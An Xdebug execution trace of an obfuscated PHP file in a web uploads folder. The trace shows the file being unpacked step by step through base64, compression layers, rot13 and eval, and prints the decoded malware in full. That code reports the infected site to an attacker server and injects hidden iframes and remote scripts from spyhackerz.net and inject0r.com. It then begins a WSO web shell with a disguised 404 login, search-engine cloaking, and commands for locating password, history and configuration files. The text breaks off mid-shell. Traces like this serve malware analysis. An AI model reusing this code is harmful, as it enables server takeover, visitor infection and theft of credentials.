Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 01:08:07.228977]
1	0	1	0.000178	393512
1	3	0	0.000497	431192	{main}	1		/var/www/html/uploads/refo1.php	0	0
1		A						/var/www/html/uploads/refo1.php	2	$UeXploiT = 'Sy1LzNFQKyzNL7G2V0svsYYw9YpLiuKL8ksMjTXSqzLz0nISS1KBrNK85PzcgqLU4mLqCCclFqeamcSnpCbnp6RqAO0sSi3TUHHMM8iLN64IyMnPDEkN0kQC1gA='
1		A						/var/www/html/uploads/refo1.php	3	$An0n_3xPloiTeR = '=4Ne/SscyJHBmrmewO7YAt8H/DaOncTX+VAH/4b5NX/bA5VZJ0kYh+BPB/2cZO9DwFk31Hj3ZxV8jaFlkHIiO6lC0W/4/qyHTzlULnnZTIgDW9l4FqJc4djBjN7v81wfYaOYdNw3bNYjsvTPbvKmbgXuqAx52BVsAvYOHG6mUY4EuaLrgOEmVxU7cPZVOFb/Xu76t6BdG3WmxGBkSpgNI6iIj6rnLUSdpYqlCYO5dkbO7Ez7J6OyqdOPrbRCuaeUwFzvbfIr3b+HL8HStvik7MY1DmSRv7SRvzC7Dvfk6dW/I3r8hl0FvKTQlw1ic7SPyQpLySuLy3dtg1PtMq+KwnJ5Ql0RkcDjaA0GNLtZTsQczPDFCTDv504L+IX2UurFMKUyQhsybkeiV+ry3aQcL1wVVcQnIaXjmm7tR4xexrXVLKOybMLKHBjz4SIMlsaQiqYZIDmknyCVQWWl1Rs6qoUgg5jtn8XJaL+aV1tRGZ1M9oo69G4E8MtDzYFL3G/I'
2	4	0	0.000580	431192	base64_decode	0		/var/www/html/uploads/refo1.php	4	1	'Sy1LzNFQKyzNL7G2V0svsYYw9YpLiuKL8ksMjTXSqzLz0nISS1KBrNK85PzcgqLU4mLqCCclFqeamcSnpCbnp6RqAO0sSi3TUHHMM8iLN64IyMnPDEkN0kQC1gA='
2	4	1	0.000600	431384
2	4	R			'K-KP+,/WK/0KK\f5ҫ2r\022KRҼ܂b\b\'%\026ħ&秤j\000,J-Pq3ȋ7\b\fI\rD\002\000'
2	5	0	0.000636	431352	gzinflate	0		/var/www/html/uploads/refo1.php	4	1	'K-KP+,/WK/0KK\f5ҫ2r\022KRҼ܂b\b\'%\026ħ&秤j\000,J-Pq3ȋ7\b\fI\rD\002\000'
2	5	1	0.000663	431608
2	5	R			'eval(&quot;?&gt;&quot;.str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev($An0n_3xPloiTeR))))))))))));'
2	6	0	0.000684	431416	htmlspecialchars_decode	0		/var/www/html/uploads/refo1.php	4	1	'eval(&quot;?&gt;&quot;.str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev($An0n_3xPloiTeR))))))))))));'
2	6	1	0.000704	431704
2	6	R			'eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev($An0n_3xPloiTeR))))))))))));'
2	7	0	0.000738	434576	eval	1	'eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev($An0n_3xPloiTeR))))))))))));'	/var/www/html/uploads/refo1.php	4	0
3	8	0	0.000757	434576	strrev	0		/var/www/html/uploads/refo1.php(4) : eval()'d code	1	1	'=4Ne/SscyJHBmrmewO7YAt8H/DaOncTX+VAH/4b5NX/bA5VZJ0kYh+BPB/2cZO9DwFk31Hj3ZxV8jaFlkHIiO6lC0W/4/qyHTzlULnnZTIgDW9l4FqJc4djBjN7v81wfYaOYdNw3bNYjsvTPbvKmbgXuqAx52BVsAvYOHG6mUY4EuaLrgOEmVxU7cPZVOFb/Xu76t6BdG3WmxGBkSpgNI6iIj6rnLUSdpYqlCYO5dkbO7Ez7J6OyqdOPrbRCuaeUwFzvbfIr3b+HL8HStvik7MY1DmSRv7SRvzC7Dvfk6dW/I3r8hl0FvKTQlw1ic7SPyQpLySuLy3dtg1PtMq+KwnJ5Ql0RkcDjaA0GNLtZTsQczPDFCTDv504L+IX2UurFMKUyQhsybkeiV+ry3aQcL1wVVcQnIaXjmm7tR4xexrXVLKOybMLKHBjz4SIMlsaQiqYZIDmknyCVQWWl1Rs6qoUgg5jtn8XJaL+aV1tRGZ1M9oo69G4E8MtDzYFL3G/I'
3	8	1	0.000804	463280
3	8	R			'eJwBxkg5twHBSD63eJwBtkhJtwGxSE63eJwBpkhZtwGhSF63eJwBlkhpt+29f3fTurIw/P9d634H4927nWzSNEkLG9ompZSmpUB/t1Aob07sbTtNi2M7ianD4bu/MyPZlm3ZSYG9z13P84RFE1uj0WgkjUaj0Whzy5ga//1fS19ulbay1Oue7r4+3f2kXezt7fQuXnb3tM8bkDpMp3aPdy939nrbhx9PWboV2H5bBSRqXQVgFd+5U9+9b4+D0O9NfLvn6n3b79tWRZ3atmGtr6xYxt3Uce9980u979srlnPj14GYrYEZtgnj74HX/vNZq/ln89mfrWfP/1x79nTteWv12Z9rahVKCMYVVojSbivN6rf//q/v//1ffmj58EuBz5KLmPBPL+gHdgXz4Ht6Y/m2btgVgqkpx/u7Vy+hRvBV+2X0ycuKito93dvf3d7bPdzunp3u1mxz4EeZOOsor3/ruywnprL0TMWVb1HCd/Yl8IAe3amubgZj05n5imXf'
3	9	0	0.000847	463248	base64_decode	0		/var/www/html/uploads/refo1.php(4) : eval()'d code	1	1	'eJwBxkg5twHBSD63eJwBtkhJtwGxSE63eJwBpkhZtwGhSF63eJwBlkhpt+29f3fTurIw/P9d634H4927nWzSNEkLG9ompZSmpUB/t1Aob07sbTtNi2M7ianD4bu/MyPZlm3ZSYG9z13P84RFE1uj0WgkjUaj0Whzy5ga//1fS19ulbay1Oue7r4+3f2kXezt7fQuXnb3tM8bkDpMp3aPdy939nrbhx9PWboV2H5bBSRqXQVgFd+5U9+9b4+D0O9NfLvn6n3b79tWRZ3atmGtr6xYxt3Uce9980u979srlnPj14GYrYEZtgnj74HX/vNZq/ln89mfrWfP/1x79nTteWv12Z9rahVKCMYVVojSbivN6rf//q/v//1ffmj58EuBz5KLmPBPL+gHdgXz4Ht6Y/m2btgVgqkpx/u7Vy+hRvBV+2X0ycuKito93dvf3d7bPdzunp3u1mxz4EeZOOsor3/ruywnprL0TMWVb1HCd/Yl8IAe3amubgZj05n5imXf'
3	9	1	0.000946	491952
3	9	R			'x\001H9\001H>x\001HI\001HNx\001HY\001H^x\001HiwӺ0]~\aݻl4I\v\033&@P(oNm;Mc;ỿ3#ٖmI]E\023[h$Fhs˘\032_K_n>].^v\033:Lvw/wzۇ\037OY\025~[\005$j]\005`\025߹S߽oM|}VEڶaXq}K+sׁ\031\tYgٟg\\{tykٟkj\025J\b\025Vn+_~hKϒO/\av\005{zcn\025)W/FUeˊ==lsG8(,\'LŕoQw%\036ݩn\006cәe߅~[dj+\re\030xt)B^l:FL\0315R\030'
3	10	0	0.001336	463248	gzuncompress	0		/var/www/html/uploads/refo1.php(4) : eval()'d code	1	1	'x\001H9\001H>x\001HI\001HNx\001HY\001H^x\001HiwӺ0]~\aݻl4I\v\033&@P(oNm;Mc;ỿ3#ٖmI]E\023[h$Fhs˘\032_K_n>].^v\033:Lvw/wzۇ\037OY\025~[\005$j]\005`\025߹S߽oM|}VEڶaXq}K+sׁ\031\tYgٟg\\{tykٟkj\025J\b\025Vn+_~hKϒO/\av\005{zcn\025)W/FUeˊ==lsG8(,\'LŕoQw%\036ݩn\006cәe߅~[dj+\re\030xt)B^l:FL\0315R\030'
3	10	1	0.001727	483760
3	10	R			'\001H>x\001HI\001HNx\001HY\001H^x\001HiwӺ0]~\aݻl4I\v\033&@P(oNm;Mc;ỿ3#ٖmI]E\023[h$Fhs˘\032_K_n>].^v\033:Lvw/wzۇ\037OY\025~[\005$j]\005`\025߹S߽oM|}VEڶaXq}K+sׁ\031\tYgٟg\\{tykٟkj\025J\b\025Vn+_~hKϒO/\av\005{zcn\025)W/FUeˊ==lsG8(,\'LŕoQw%\036ݩn\006cәe߅~[dj+\re\030xt)B^l:FL\0315R\030MK껃m}t'
3	11	0	0.002106	455056	gzinflate	0		/var/www/html/uploads/refo1.php(4) : eval()'d code	1	1	'\001H>x\001HI\001HNx\001HY\001H^x\001HiwӺ0]~\aݻl4I\v\033&@P(oNm;Mc;ỿ3#ٖmI]E\023[h$Fhs˘\032_K_n>].^v\033:Lvw/wzۇ\037OY\025~[\005$j]\005`\025߹S߽oM|}VEڶaXq}K+sׁ\031\tYgٟg\\{tykٟkj\025J\b\025Vn+_~hKϒO/\av\005{zcn\025)W/FUeˊ==lsG8(,\'LŕoQw%\036ݩn\006cәe߅~[dj+\re\030xt)B^l:FL\0315R\030MK껃m}t'
3	11	1	0.002483	475568
3	11	R			'x\001HI\001HNx\001HY\001H^x\001HiwӺ0]~\aݻl4I\v\033&@P(oNm;Mc;ỿ3#ٖmI]E\023[h$Fhs˘\032_K_n>].^v\033:Lvw/wzۇ\037OY\025~[\005$j]\005`\025߹S߽oM|}VEڶaXq}K+sׁ\031\tYgٟg\\{tykٟkj\025J\b\025Vn+_~hKϒO/\av\005{zcn\025)W/FUeˊ==lsG8(,\'LŕoQw%\036ݩn\006cәe߅~[dj+\re\030xt)B^l:FL\0315R\030MK껃m}tw\030m'
3	12	0	0.002862	455056	gzuncompress	0		/var/www/html/uploads/refo1.php(4) : eval()'d code	1	1	'x\001HI\001HNx\001HY\001H^x\001HiwӺ0]~\aݻl4I\v\033&@P(oNm;Mc;ỿ3#ٖmI]E\023[h$Fhs˘\032_K_n>].^v\033:Lvw/wzۇ\037OY\025~[\005$j]\005`\025߹S߽oM|}VEڶaXq}K+sׁ\031\tYgٟg\\{tykٟkj\025J\b\025Vn+_~hKϒO/\av\005{zcn\025)W/FUeˊ==lsG8(,\'LŕoQw%\036ݩn\006cәe߅~[dj+\re\030xt)B^l:FL\0315R\030MK껃m}tw\030m'
3	12	1	0.003315	475568
3	12	R			'\001HNx\001HY\001H^x\001HiwӺ0]~\aݻl4I\v\033&@P(oNm;Mc;ỿ3#ٖmI]E\023[h$Fhs˘\032_K_n>].^v\033:Lvw/wzۇ\037OY\025~[\005$j]\005`\025߹S߽oM|}VEڶaXq}K+sׁ\031\tYgٟg\\{tykٟkj\025J\b\025Vn+_~hKϒO/\av\005{zcn\025)W/FUeˊ==lsG8(,\'LŕoQw%\036ݩn\006cәe߅~[dj+\re\030xt)B^l:FL\0315R\030MK껃m}tw\030m߇^\037'
3	13	0	0.003695	455056	gzinflate	0		/var/www/html/uploads/refo1.php(4) : eval()'d code	1	1	'\001HNx\001HY\001H^x\001HiwӺ0]~\aݻl4I\v\033&@P(oNm;Mc;ỿ3#ٖmI]E\023[h$Fhs˘\032_K_n>].^v\033:Lvw/wzۇ\037OY\025~[\005$j]\005`\025߹S߽oM|}VEڶaXq}K+sׁ\031\tYgٟg\\{tykٟkj\025J\b\025Vn+_~hKϒO/\av\005{zcn\025)W/FUeˊ==lsG8(,\'LŕoQw%\036ݩn\006cәe߅~[dj+\re\030xt)B^l:FL\0315R\030MK껃m}tw\030m߇^\037'
3	13	1	0.004078	475568
3	13	R			'x\001HY\001H^x\001HiwӺ0]~\aݻl4I\v\033&@P(oNm;Mc;ỿ3#ٖmI]E\023[h$Fhs˘\032_K_n>].^v\033:Lvw/wzۇ\037OY\025~[\005$j]\005`\025߹S߽oM|}VEڶaXq}K+sׁ\031\tYgٟg\\{tykٟkj\025J\b\025Vn+_~hKϒO/\av\005{zcn\025)W/FUeˊ==lsG8(,\'LŕoQw%\036ݩn\006cәe߅~[dj+\re\030xt)B^l:FL\0315R\030MK껃m}tw\030m߇^\037\037'
3	14	0	0.004462	455056	gzuncompress	0		/var/www/html/uploads/refo1.php(4) : eval()'d code	1	1	'x\001HY\001H^x\001HiwӺ0]~\aݻl4I\v\033&@P(oNm;Mc;ỿ3#ٖmI]E\023[h$Fhs˘\032_K_n>].^v\033:Lvw/wzۇ\037OY\025~[\005$j]\005`\025߹S߽oM|}VEڶaXq}K+sׁ\031\tYgٟg\\{tykٟkj\025J\b\025Vn+_~hKϒO/\av\005{zcn\025)W/FUeˊ==lsG8(,\'LŕoQw%\036ݩn\006cәe߅~[dj+\re\030xt)B^l:FL\0315R\030MK껃m}tw\030m߇^\037\037'
3	14	1	0.004858	475568
3	14	R			'\001H^x\001HiwӺ0]~\aݻl4I\v\033&@P(oNm;Mc;ỿ3#ٖmI]E\023[h$Fhs˘\032_K_n>].^v\033:Lvw/wzۇ\037OY\025~[\005$j]\005`\025߹S߽oM|}VEڶaXq}K+sׁ\031\tYgٟg\\{tykٟkj\025J\b\025Vn+_~hKϒO/\av\005{zcn\025)W/FUeˊ==lsG8(,\'LŕoQw%\036ݩn\006cәe߅~[dj+\re\030xt)B^l:FL\0315R\030MK껃m}tw\030m߇^\037\037|\\6\02'
3	15	0	0.005234	455056	gzinflate	0		/var/www/html/uploads/refo1.php(4) : eval()'d code	1	1	'\001H^x\001HiwӺ0]~\aݻl4I\v\033&@P(oNm;Mc;ỿ3#ٖmI]E\023[h$Fhs˘\032_K_n>].^v\033:Lvw/wzۇ\037OY\025~[\005$j]\005`\025߹S߽oM|}VEڶaXq}K+sׁ\031\tYgٟg\\{tykٟkj\025J\b\025Vn+_~hKϒO/\av\005{zcn\025)W/FUeˊ==lsG8(,\'LŕoQw%\036ݩn\006cәe߅~[dj+\re\030xt)B^l:FL\0315R\030MK껃m}tw\030m߇^\037\037|\\6\02'
3	15	1	0.005609	475568
3	15	R			'x\001HiwӺ0]~\aݻl4I\v\033&@P(oNm;Mc;ỿ3#ٖmI]E\023[h$Fhs˘\032_K_n>].^v\033:Lvw/wzۇ\037OY\025~[\005$j]\005`\025߹S߽oM|}VEڶaXq}K+sׁ\031\tYgٟg\\{tykٟkj\025J\b\025Vn+_~hKϒO/\av\005{zcn\025)W/FUeˊ==lsG8(,\'LŕoQw%\036ݩn\006cәe߅~[dj+\re\030xt)B^l:FL\0315R\030MK껃m}tw\030m߇^\037\037|\\6\023\025'
3	16	0	0.005986	455056	gzuncompress	0		/var/www/html/uploads/refo1.php(4) : eval()'d code	1	1	'x\001HiwӺ0]~\aݻl4I\v\033&@P(oNm;Mc;ỿ3#ٖmI]E\023[h$Fhs˘\032_K_n>].^v\033:Lvw/wzۇ\037OY\025~[\005$j]\005`\025߹S߽oM|}VEڶaXq}K+sׁ\031\tYgٟg\\{tykٟkj\025J\b\025Vn+_~hKϒO/\av\005{zcn\025)W/FUeˊ==lsG8(,\'LŕoQw%\036ݩn\006cәe߅~[dj+\re\030xt)B^l:FL\0315R\030MK껃m}tw\030m߇^\037\037|\\6\023\025'
3	16	1	0.006367	475568
3	16	R			'wӺ0]~\aݻl4I\v\033&@P(oNm;Mc;ỿ3#ٖmI]E\023[h$Fhs˘\032_K_n>].^v\033:Lvw/wzۇ\037OY\025~[\005$j]\005`\025߹S߽oM|}VEڶaXq}K+sׁ\031\tYgٟg\\{tykٟkj\025J\b\025Vn+_~hKϒO/\av\005{zcn\025)W/FUeˊ==lsG8(,\'LŕoQw%\036ݩn\006cәe߅~[dj+\re\030xt)B^l:FL\0315R\030MK껃m}tw\030m߇^\037\037|\\6\023\025\016\031u'
3	17	0	0.006745	455056	gzinflate	0		/var/www/html/uploads/refo1.php(4) : eval()'d code	1	1	'wӺ0]~\aݻl4I\v\033&@P(oNm;Mc;ỿ3#ٖmI]E\023[h$Fhs˘\032_K_n>].^v\033:Lvw/wzۇ\037OY\025~[\005$j]\005`\025߹S߽oM|}VEڶaXq}K+sׁ\031\tYgٟg\\{tykٟkj\025J\b\025Vn+_~hKϒO/\av\005{zcn\025)W/FUeˊ==lsG8(,\'LŕoQw%\036ݩn\006cәe߅~[dj+\re\030xt)B^l:FL\0315R\030MK껃m}tw\030m߇^\037\037|\\6\023\025\016\031u'
3	17	1	0.007399	532912
3	17	R			'<?cuc\r\n$mk = $_FREIRE[\'UGGC_UBFG\'];\r\n$jk = $_FREIRE[\'FPEVCG_ANZR\'];\r\n$fvgr="$mk"."$jk";\r\n$purpx=svyr_trg_pbagragf("uggcf://fclunpxrem.arg/fnir.cuc?hey=$fvgr&vq=7821718728974864923874");\r\nvs($purpx == 1){\r\n}\r\nryfr{\r\n    $phey=phey_vavg();\r\n    phey_frgbcg($phey, PHEYBCG_HEY,"uggcf://fclunpxrem.arg/fnir.cuc?hey=$fvgr&vq=7821718728974864923874");\r\n    phey_frgbcg($phey,PHEYBCG_ERGHEAGENAFSRE,gehr);\r\n    $purpx=phey_rkrp($phey);\r\n\r\n    vs($purpx == 1) {\r\n\r\n    }\r\n    ryfr{\r\'
3	18	0	0.007539	512400	str_rot13	0		/var/www/html/uploads/refo1.php(4) : eval()'d code	1	1	'<?cuc\r\n$mk = $_FREIRE[\'UGGC_UBFG\'];\r\n$jk = $_FREIRE[\'FPEVCG_ANZR\'];\r\n$fvgr="$mk"."$jk";\r\n$purpx=svyr_trg_pbagragf("uggcf://fclunpxrem.arg/fnir.cuc?hey=$fvgr&vq=7821718728974864923874");\r\nvs($purpx == 1){\r\n}\r\nryfr{\r\n    $phey=phey_vavg();\r\n    phey_frgbcg($phey, PHEYBCG_HEY,"uggcf://fclunpxrem.arg/fnir.cuc?hey=$fvgr&vq=7821718728974864923874");\r\n    phey_frgbcg($phey,PHEYBCG_ERGHEAGENAFSRE,gehr);\r\n    $purpx=phey_rkrp($phey);\r\n\r\n    vs($purpx == 1) {\r\n\r\n    }\r\n    ryfr{\r\'
3	18	1	0.007707	590256
3	18	R			'<?php\r\n$zx = $_SERVER[\'HTTP_HOST\'];\r\n$wx = $_SERVER[\'SCRIPT_NAME\'];\r\n$site="$zx"."$wx";\r\n$check=file_get_contents("https://spyhackerz.net/save.php?url=$site&id=7821718728974864923874");\r\nif($check == 1){\r\n}\r\nelse{\r\n    $curl=curl_init();\r\n    curl_setopt($curl, CURLOPT_URL,"https://spyhackerz.net/save.php?url=$site&id=7821718728974864923874");\r\n    curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);\r\n    $check=curl_exec($curl);\r\n\r\n    if($check == 1) {\r\n\r\n    }\r\n    else{\r\'
3	19	0	0.009921	969672	eval	1	'?><?php\r\n$zx = $_SERVER[\'HTTP_HOST\'];\r\n$wx = $_SERVER[\'SCRIPT_NAME\'];\r\n$site="$zx"."$wx";\r\n$check=file_get_contents("https://spyhackerz.net/save.php?url=$site&id=7821718728974864923874");\r\nif($check == 1){\r\n}\r\nelse{\r\n    $curl=curl_init();\r\n    curl_setopt($curl, CURLOPT_URL,"https://spyhackerz.net/save.php?url=$site&id=7821718728974864923874");\r\n    curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);\r\n    $check=curl_exec($curl);\r\n\r\n    if($check == 1) {\r\n\r\n    }\r\n    else{\r\n        echo"<iframe style=\'height: 0; width:0;\' src=\'https://spyhackerz.net/save.php?url=$site&id=7821718728974864923874\'></iframe>";\r\n    }\r\n\r\n}\r\n$linr = "ZWNobyAiPFNDUklQVCBTUkM9aHR0cDovL2luam";\r\n$winr = "VjdDByLmNvbS91cGRhdGUuanM+PC9TQ1JJUFQ+Ijs=";\r\n$min = \'base\' . (128 / 2) . \'_de\' . \'code\';\r\neval($min($linr . $winr));\r\n\r\n\r\n\r\necho "<SCRIPT SRC=https://spyhackerz.net/app.js></SCRIPT>";\r\necho "<SCRIPT SRC=http://spyhackerz.net/app.js></SCRIPT>";\r\necho "<SCRIPT SRC=https://inject0r.com/update.js></SCRIPT>";\r\n\r\n\r\n/* WSO 2.1 (Web Shell by pgems.in) */ \r\n$auth_pass = "e48e13207341b6bffb7fb1622282247b"; \r\n$color = "#00ff00"; \r\n$default_action = \'FilesMan\'; \r\n@define(\'SELF_PATH\', __FILE__); \r\nif( strpos($_SERVER[\'HTTP_USER_AGENT\'],\'Google\') !== false ) { \r\n    header(\'HTTP/1.0 404 Not Found\'); \r\n    exit; \r\n} \r\n@session_start(); \r\n@error_reporting(0); \r\n@ini_set(\'error_log\',NULL); \r\n@ini_set(\'log_errors\',0); \r\n@ini_set(\'max_execution_time\',0); \r\n@set_time_limit(0); \r\n@set_magic_quotes_runtime(0); \r\n@define(\'VERSION\', \'2.1\'); \r\nif( get_magic_quotes_gpc() ) { \r\n    function stripslashes_array($array) { \r\n        return is_array($array) ? array_map(\'stripslashes_array\', $array) : stripslashes($array); \r\n    } \r\n    $_POST = stripslashes_array($_POST); \r\n} \r\nfunction printLogin() { \r\n    ?> \r\n<h1>Not Found</h1> \r\n<p>The requested URL was not found on this server.</p> \r\n<hr> \r\n<address>Apache Server at <?=$_SERVER[\'HTTP_HOST\']?> Port 80</address> \r\n    <style> \r\n        input { margin:0;background-color:#fff;border:1px solid #fff; } \r\n    </style> \r\n    <center> \r\n    <form method=post> \r\n    <input type=password name=pass> \r\n    </form></center> \r\n    <?php \r\n    exit; \r\n} \r\nif( !isset( $_SESSION[md5($_SERVER[\'HTTP_HOST\'])] )) \r\n    if( empty( $auth_pass ) || \r\n        ( isset( $_POST[\'pass\'] ) && ( md5($_POST[\'pass\']) == $auth_pass ) ) ) \r\n        $_SESSION[md5($_SERVER[\'HTTP_HOST\'])] = true; \r\n    else \r\n        printLogin(); \r\n\r\nif( strtolower( substr(PHP_OS,0,3) ) == "win" ) \r\n    $os = \'win\'; \r\nelse \r\n    $os = \'nix\'; \r\n$safe_mode = @ini_get(\'safe_mode\'); \r\n$disable_functions = @ini_get(\'disable_functions\'); \r\n$home_cwd = @getcwd(); \r\nif( isset( $_POST[\'c\'] ) ) \r\n    @chdir($_POST[\'c\']); \r\n$cwd = @getcwd(); \r\nif( $os == \'win\') { \r\n    $home_cwd = str_replace("\\\\", "/", $home_cwd); \r\n    $cwd = str_replace("\\\\", "/", $cwd); \r\n} \r\nif( $cwd[strlen($cwd)-1] != \'/\' ) \r\n    $cwd .= \'/\'; \r\n     \r\nif($os == \'win\') \r\n    $aliases = array( \r\n        "List Directory" => "dir", \r\n        "Find index.php in current dir" => "dir /s /w /b index.php", \r\n        "Find *config*.php in current dir" => "dir /s /w /b *config*.php", \r\n        "Show active connections" => "netstat -an", \r\n        "Show running services" => "net start", \r\n        "User accounts" => "net user", \r\n        "Show computers" => "net view", \r\n        "ARP Table" => "arp -a", \r\n        "IP Configuration" => "ipconfig /all" \r\n    ); \r\nelse \r\n    $aliases = array( \r\n          "List dir" => "ls -la", \r\n        "list file attributes on a Linux second extended file system" => "lsattr -va", \r\n          "show opened ports" => "netstat -an | grep -i listen", \r\n        "Find" => "", \r\n          "find all suid files" => "find / -type f -perm -04000 -ls", \r\n          "find suid files in current dir" => "find . -type f -perm -04000 -ls",\r\n          "find all sgid files" => "find / -type f -perm -02000 -ls", \r\n          "find sgid files in current dir" => "find . -type f -perm -02000 -ls",\r\n          "find config.inc.php files" => "find / -type f -name config.inc.php", \r\n          "find config* files" => "find / -type f -name \\"config*\\"", \r\n          "find config* files in current dir" => "find . -type f -name \\"config*\\"", \r\n          "find all writable folders and files" => "find / -perm -2 -ls", \r\n          "find all writable folders and files in current dir" => "find . -perm -2 -ls", \r\n          "find all service.pwd files" => "find / -type f -name service.pwd", \r\n          "find service.pwd files in current dir" => "find . -type f -name service.pwd", \r\n          "find all .htpasswd files" => "find / -type f -name .htpasswd", \r\n          "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", \r\n          "find all .bash_history files" => "find / -type f -name .bash_history", \r\n          "find .bash_history files in current dir" => "find . -type f -name .bash_history", \r\n          "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", \r\n          "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", \r\n        "Locate" => "", \r\n          "locate httpd.conf files" => "locate httpd.conf", \r\n        "locate vhosts.conf files" => "locate vhosts.conf", \r\n        "locate proftpd.conf files" => "locate proftpd.conf", \r\n        "locate psybnc.conf files" => "locate psybnc.conf", \r\n        "locate my.conf files" => "locate my.conf", \r\n        "locate admin.php files" =>"locate admin.php", \r\n        "locate cfg.php files" => "locate cfg.php", \r\n        "locate conf.php files" => "locate conf.php", \r\n        "locate config.dat files" => "locate config.dat", \r\n        "locate config.php files" => "locate config.php", \r\n        "locate config.inc files" => "locate config.inc", \r\n        "locate config.inc.php" => "locate config.inc.php", \r\n        "locate config.default.php files" => "locate config.default.php", \r\n        "locate config* files " => "locate config", \r\n        "locate .conf files"=>"locate \'.conf\'", \r\n        "locate .pwd files" => "locate \'.pwd\'", \r\n        "locate .sql files" => "locate \'.sql\'", \r\n        "locate .htpasswd files" => "locate \'.htpasswd\'", \r\n        "locate .bash_history files" => "locate \'.bash_history\'", \r\n        "locate .mysql_history files" => "locate \'.mysql_history\'", \r\n        "locate .fetchmailrc files" => "locate \'.fetchmailrc\'", \r\n        "locate backup files" => "locate backup", \r\n        "locate dump files" => "locate dump", \r\n        "locate priv files" => "locate priv"     \r\n    ); \r\n\r\nfunction printHeader() { \r\n    if(empty($_POST[\'charset\'])) \r\n        $_POST[\'charset\'] = "UTF-8"; \r\n    global $color; \r\n    ?> \r\n<html><head><meta http-equiv=\'Content-Type\' content=\'text/html; charset=<?=$_POST[\'charset\']?>\'><title><?=$_SERVER[\'HTTP_HOST\']?>- 404 Not Found Shell V.<?=VERSION?></title> \r\n<style> \r\n    body {background-color:#000;color:#fff;} \r\n    body,td,th    { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; } \r\n    span,h1,a    { color:<?=$color?> !important; } \r\n    span        { font-weight: bolder; } \r\n    h1            { border:1px solid <?=$color?>;padding: 2px 5px;font: 14pt Verdana;margin:0px; } \r\n    div.content    { padding: 5px;margin-left:5px;} \r\n    a            { text-decoration:none; } \r\n    a:hover        { background:#ff0000; } \r\n    .ml1        { border:1px solid #444;padding:5px;margin:0;overflow: auto; } \r\n    .bigarea    { width:100%;height:250px; } \r\n    input, textarea, select    { margin:0;color:#00ff00;background-color:#000;border:1px solid <?=$color?>; font: 9pt Monospace,"Courier New"; } \r\n    form        { margin:0px; } \r\n    #toolsTbl    { text-align:center; } \r\n    .toolsInp    { width: 80%; } \r\n    .main th    {text-align:left;} \r\n    .main tr:hover{background-color:#5e5e5e;} \r\n    .main td, th{vertical-align:middle;} \r\n    pre            {font-family:Courier,Monospace;} \r\n    #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);} \r\n</style> \r\n<script> \r\n    function set(a,c,p1,p2,p3,charset) { \r\n        if(a != null)document.mf.a.value=a; \r\n        if(c != null)document.mf.c.value=c; \r\n        if(p1 != null)document.mf.p1.value=p1; \r\n        if(p2 != null)document.mf.p2.value=p2; \r\n        if(p3 != null)document.mf.p3.value=p3; \r\n        if(charset != null)document.mf.charset.value=charset; \r\n    } \r\n    function g(a,c,p1,p2,p3,charset) { \r\n        set(a,c,p1,p2,p3,charset); \r\n        document.mf.submit(); \r\n    } \r\n    function a(a,c,p1,p2,p3,charset) { \r\n        set(a,c,p1,p2,p3,charset); \r\n        var params = "ajax=true"; \r\n        for(i=0;i<document.mf.elements.length;i++) \r\n            params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value); \r\n        sr(\'<?=$_SERVER[\'REQUEST_URI\'];?>\', params); \r\n    } \r\n    function sr(url, params) {     \r\n        if (window.XMLHttpRequest) { \r\n            req = new XMLHttpRequest(); \r\n            req.onreadystatechange = processReqChange; \r\n            req.open("POST", url, true); \r\n            req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded"); \r\n            req.send(params); \r\n        }  \r\n        else if (window.ActiveXObject) { \r\n            req = new ActiveXObject("Microsoft.XMLHTTP"); \r\n            if (req) { \r\n                req.onreadystatechange = processReqChange; \r\n                req.open("POST", url, true); \r\n                req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded"); \r\n                req.send(params); \r\n            } \r\n        } \r\n    } \r\n    function processReqChange() { \r\n        if( (req.readyState == 4) ) \r\n            if(req.status == 200) { \r\n                //alert(req.responseText); \r\n                var reg = new RegExp("(\\\\d+)([\\\\S\\\\s]*)", "m"); \r\n                var arr=reg.exec(req.responseText); \r\n                eval(arr[2].substr(0, arr[1])); \r\n            }  \r\n            else alert("Request error!"); \r\n    } \r\n</script> \r\n<head><body><div style="position:absolute;width:100%;top:0;left:0;"> \r\n<form method=post name=mf style=\'display:none;\'> \r\n<input type=hidden name=a value=\'<?=isset($_POST[\'a\'])?$_POST[\'a\']:\'\'?>\'> \r\n<input type=hidden name=c value=\'<?=htmlspecialchars($GLOBALS[\'cwd\'])?>\'> \r\n<input type=hidden name=p1 value=\'<?=isset($_POST[\'p1\'])?htmlspecialchars($_POST[\'p1\']):\'\'?>\'> \r\n<input type=hidden name=p2 value=\'<?=isset($_POST[\'p2\'])?htmlspecialchars($_POST[\'p2\']):\'\'?>\'> \r\n<input type=hidden name=p3 value=\'<?=isset($_POST[\'p3\'])?htmlspecialchars($_POST[\'p3\']):\'\'?>\'> \r\n<input type=hidden name=charset value=\'<?=isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\'?>\'> \r\n</form> \r\n<?php \r\n    $freeSpace = @diskfreespace($GLOBALS[\'cwd\']); \r\n    $totalSpace = @disk_total_space($GLOBALS[\'cwd\']); \r\n    $totalSpace = $totalSpace?$totalSpace:1; \r\n    $release = @php_uname(\'r\'); \r\n    $kernel = @php_uname(\'s\'); \r\n    $millink=\'http://milw0rm.com/search.php?dong=\'; \r\n    if( strpos(\'Linux\', $kernel) !== false ) \r\n  